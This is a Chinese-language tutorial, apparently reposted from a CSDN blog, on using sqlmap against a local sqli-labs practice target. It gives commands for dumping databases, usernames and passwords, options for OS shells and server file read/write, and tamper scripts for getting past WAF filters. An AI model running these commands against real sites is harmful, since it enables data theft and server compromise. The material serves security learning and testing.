ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqlmap使用详解

2021-01-06 16:03:43  阅读:559  来源: 互联网

标签:sqlmap http 数据库 py 详解 使用 id python2


一、sqlmap基本使用

1.判断是否存在注入

(1)当检测参数为一个的时候:
python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1

在这里插入图片描述
(2)当参数大于等于两个时,需要加双引号:
python2 sqlmap.py -u "http://localhost/sqli-master/Less-1/?id=1&uid=3"

(3)当测试的位置是cookie或者post传值等位置时,需将获得流量包保存在txt文件中进行测试:
python2 sqlmap.py -r 1.txt

(4)在攻击的时候会有三处需要交互的地方,分别是:
1.it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes?
检测到数据库可能时mysql,是否需要跳过检测其它数据库
2.for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values?
在level1和risk1的情况下,是否使用mysql对应的所有payload进行检测
3.GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)?
参数id存在漏洞是否需要继续检测其他参数

2.查询当前用户下的所有数据库

python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 --dbs

在这里插入图片描述

3.获取数据库中的表名

  • 使用-D指定数据库
    python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 -D security --tables
    在这里插入图片描述

4.获取表中的字段名

  • 使用-D指定数据库,-T指定对应的表
    python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 -D security -T users --columns
    在这里插入图片描述

5.获取字段内容

  • 使用-D指定数据库,-T指定对应的表,-C指定字段
    python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 -D security -T users -C id,password,username --dump
    在这里插入图片描述

6.获取数据库所有用户

python2 sqlmap.py -u http://localhost/sqli-master/Less-1/?id=1 --users
在这里插入图片描述

7.获取数据库用户的密码

python2 sqlmap.py -u “http://localhost/sqli-master/Less-1/?id=1” --passwords
在这里插入图片描述

8.获取当前网站数据库的名称

python2 sqlmap.py -u “http://localhost/sqli-master/Less-1/?id=1” --current-db
在这里插入图片描述

9.获取当前网站数据库的用户名称

python2 sqlmap.py -u “http://localhost/sqli-master/Less-1/?id=1” --current-user
在这里插入图片描述

二、sqlmap高级用法

1.–level5:探测等级

  • level是指探测的等级,随着level的提高payload会增加、运行时间增加、同时会自动破解出cookie、XFF头部等注入。

2.–risk5:风险等级

  • risk增加后,sql语句不仅会包含select语句,也会包含insert、delete、update等sql语句,很可能会对数据库造成严重的破坏,所以不建议调高risk等级

3.–is-dbs:当前用户是否为管理权限

  • 该命令会查看当前用户时候为数据库管理员权限
    在这里插入图片描述

4.–roles:列出数据库管理员角色
6.–referer:检测http Referer头(当referer定义为3或者3以上时,也会尝试对regerer注入)
5.–sql-shell:运行自定义sql语句(可执行sql语句)
6.–os-cmd,–os-shell:运行任意操作系统命令
7.–file-read:从数据库服务器中读取文件
8.–file-write,file-dest:上传文件到服务器中
9.–identify-waf:用于检测是否存在WAF、IDS、IPS

三、sqlmap自带绕过脚本tamper

  • sqlmap默认情况没有对默认注入的数据进行修改,如果想绕过WAF等设备,就需要用到绕过脚本tamper对数据进行修改,在tamper脚本中,主要用到正则模块替换攻击载荷字符编码的方式绕过WAF检测规则

1、tamper脚本格式

在这里插入图片描述
tamper脚本一般的结构为priority变量的定义和dependencies、tamper函数定义

  • priority定义脚本的优先级,用于多个temper脚本的情况
  • dependencies用于定义脚本适用、不适用的范围,可以为空

2、常用的tamper脚本

1.编码绕过:

  • apostrophemask.py
    作用:将引号替换成UTF-8,用于过滤单引号

  • base64encode.py
    作用:替换为base64编码

  • charencode.py
    作用:对给定的payload全部字符使用url编码

  • charunicodeencode.py
    作用:字符串unicode编码

  • chardoubleencode.py
    作用:对给定的payload全部字符使用双重url编码

2.双写绕过:

  • nonrecursivereplacement.py
    作用:双重查找语句,用双重语句代替预定义的sql关键字

3.大小写绕过

  • randomcase.py
    作用:随机大小写

4.注释绕过

  • modescurityversioned.py
    作用:过滤空格,使用mysql内联注释的方式进行注入
  • modescurityzeroversioned.py
    作用:使用mysql内联注释的方式(/!000/)
  • halfversionedmorekeywords.py
    作用:当数据库为mysql是绕过防火墙,在每个关键字之前添加mysql版本的注释

标签:sqlmap,http,数据库,py,详解,使用,id,python2
来源: https://blog.csdn.net/qq_45676913/article/details/112261376

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有